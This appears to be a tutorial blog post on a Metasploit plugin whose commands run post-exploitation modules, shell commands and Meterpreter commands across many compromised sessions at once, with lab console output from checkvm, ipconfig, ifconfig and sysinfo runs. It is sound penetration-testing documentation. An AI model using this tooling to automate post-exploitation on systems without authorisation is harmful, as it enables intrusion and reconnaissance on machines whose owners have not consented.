The next command in the list if the multi_post command, this command allows the running of a specified post modules against a list of sessions or all sessions. The command will check that the options provided are correct during execution and will check that the module is compatible with the session before executing. Recently the option to do tab completion for the module name was added. The options are:

msf > multi_post -h

OPTIONS:

    -h        Command Help
    -m <opt>  Module to run against sessions.
    -o <opt>  Module options.
    -s <opt>  Sessions to run module against. Example <all> or <1,2,3,4>

Lets run the checkvm modules for windows and linux, in the output you will be able to see that the module only executed against those sessions that the module was compatible for:

msf > multi_post -m post/windows/gather/checkvm -s all
Loading windows/gather/checkvm
Running against 2

[*] Checking if CARLOS-192FCD91 is a Virtual Machine .....
[*] This is a VMware Virtual Machine
Running against 3
[*] Checking if TEST-01BCDAF47C is a Virtual Machine .....
[*] This is a VMware Virtual Machine
Running against 4
[*] Checking if WINDEV01 is a Virtual Machine .....
[*] This is a VMware Virtual Machine
msf > multi_post -m post/linux/gather/checkvm -s all
Loading linux/gather/checkvm
Running against 6

[*] Gathering System info ....
[+] This appears to be a VMware Virtual Machine
Running against 7
[*] Gathering System info ....
[+] This appears to be a VMware Virtual Machine

The other multi post command allow the running of modules against multiple session with options using a resource file, this allows you to have several resource files with options already pre-set for specific tasks, tab completion can be use for the resource file name:

msf > multi_post_rc -h

OPTIONS:

    -h         Command Help
    -rc <opt>  Resource file with space separate values <session> <module> <options>, per line.

The RC File:

msf > cat /tmp/checkvm.rc
[*] exec: cat /tmp/checkvm.rc

all post/windows/gather/checkvm
all post/linux/gather/checkvm

Running the RC file:

msf > multi_post_rc -rc /tmp/checkvm.rc 
all post/windows/gather/checkvm
Loading post/windows/gather/checkvm
Running Against 2

[*] Checking if CARLOS-192FCD91 is a Virtual Machine .....
[*] This is a VMware Virtual Machine
Running Against 3
[*] Checking if TEST-01BCDAF47C is a Virtual Machine .....
[*] This is a VMware Virtual Machine
Running Against 4
[*] Checking if WINDEV01 is a Virtual Machine .....
[*] This is a VMware Virtual Machine
all post/linux/gather/checkvm
Loading post/linux/gather/checkvm
Running Against 6
[*] Gathering System info ....
[+] This appears to be a VMware Virtual Machine
Running Against 7
[*] Gathering System info ....
[+] This appears to be a VMware Virtual Machine

When looking at running commands against sessions, there are 2 types of commands that can be executed, Shell commands and Meterpreter console command, for shell commands the multi_cmd command is available:

msf > multi_cmd -h

OPTIONS:

    -c <opt>  Shell command to run.
    -h        Command Help
    -p <opt>  Platform to run the command against. If none given it will run against all.
    -s <opt>  Comma separated list sessions to run modules against.

You can specify a platform for running the command (bsd, solaris, linux and win), the list of sessions and the command to be executed. On windows based system I recommend using the "cmd /c " format and for unix type systems to use the full path for the command, you need the wrap the command in quotes. Since post modules and scripts save their data to loot this command will do the same saving the command output and command ran in loot. Lets run ipconfig against all Windows sessions:

msf > multi_cmd -s all -p win -c "cmd /c ipconfig"
Running cmd /c ipconfig against session 2


Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.1.115
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.1
Running cmd /c ipconfig against session 3


Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.1.113
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.1
Running cmd /c ipconfig against session 4


Windows IP Configuration


Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . : localdomain
   Link-local IPv6 Address . . . . . : fe80::9930:cb9f:3b7e:e92d%10
...

Tunnel adapter Local Area Connection* 9:

   Connection-specific DNS Suffix  . : 
   IPv6 Address. . . . . . . . . . . : 2001:0:4137:9e76:3422:1b95:3f57:fe65
   Link-local IPv6 Address . . . . . : fe80::3422:1b95:3f57:fe65%12
   Default Gateway . . . . . . . . . : ::

Lets run ifconfig against linux systems:

msf > multi_cmd -s all -p linux -c "/sbin/ifconfig -a "
Running /sbin/ifconfig -a  against session 6
eth0      Link encap:Ethernet  HWaddr 00:0C:29:97:CD:08  
          inet addr:192.168.1.119  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe97:cd08/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1297491 errors:1 dropped:0 overruns:0 frame:0
          TX packets:51870 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:205739082 (196.2 MiB)  TX bytes:4346662 (4.1 MiB)
          Interrupt:67 Base address:0x2024 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1567 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1567 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:2116526 (2.0 MiB)  TX bytes:2116526 (2.0 MiB)

sit0      Link encap:IPv6-in-IPv4  
          NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

Running /sbin/ifconfig -a  against session 7
eth0      Link encap:Ethernet  HWaddr 00:0C:29:97:CD:08  
          inet addr:192.168.1.119  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe97:cd08/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1297495 errors:1 dropped:0 overruns:0 frame:0
          TX packets:51874 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:205739404 (196.2 MiB)  TX bytes:4348194 (4.1 MiB)
          Interrupt:67 Base address:0x2024 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1567 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1567 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:2116526 (2.0 MiB)  TX bytes:2116526 (2.0 MiB)

sit0      Link encap:IPv6-in-IPv4  
          NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

For running Meterpreter console commands the multimetercmd command is available it will check if the session specified is a Meterpreter session or not before executing, there is also a resource driven version of the command also:

msf > multi_meter_cmd  -h

OPTIONS:

    -h        Command Help
    -c <opt>  Meterpreter Console Command to run against sessions.
    -s <opt>  Sessions to run Meterpreter Console Command against. Example <all> or <1,2,3,4>

Lets run sysinfo against all sessions:

msf > multi_meter_cmd  -s all -c sysinfo
Running command sysinfo against session 2
Computer        : CARLOS-192FCD91
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
Running command sysinfo against session 3
Computer        : TEST-01BCDAF47C
OS              : Windows XP (Build 2600, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
Running command sysinfo against session 4
Session 5 is not a Meterpreter session!
Session 6 is not a Meterpreter session!
Session 7 is not a Meterpreter session!

As it can be seen the plugin provide many manners to automate post-exploitation tasks during a pentest. As always I hope you find it useful and would love your feedback and any bug report for bugs found.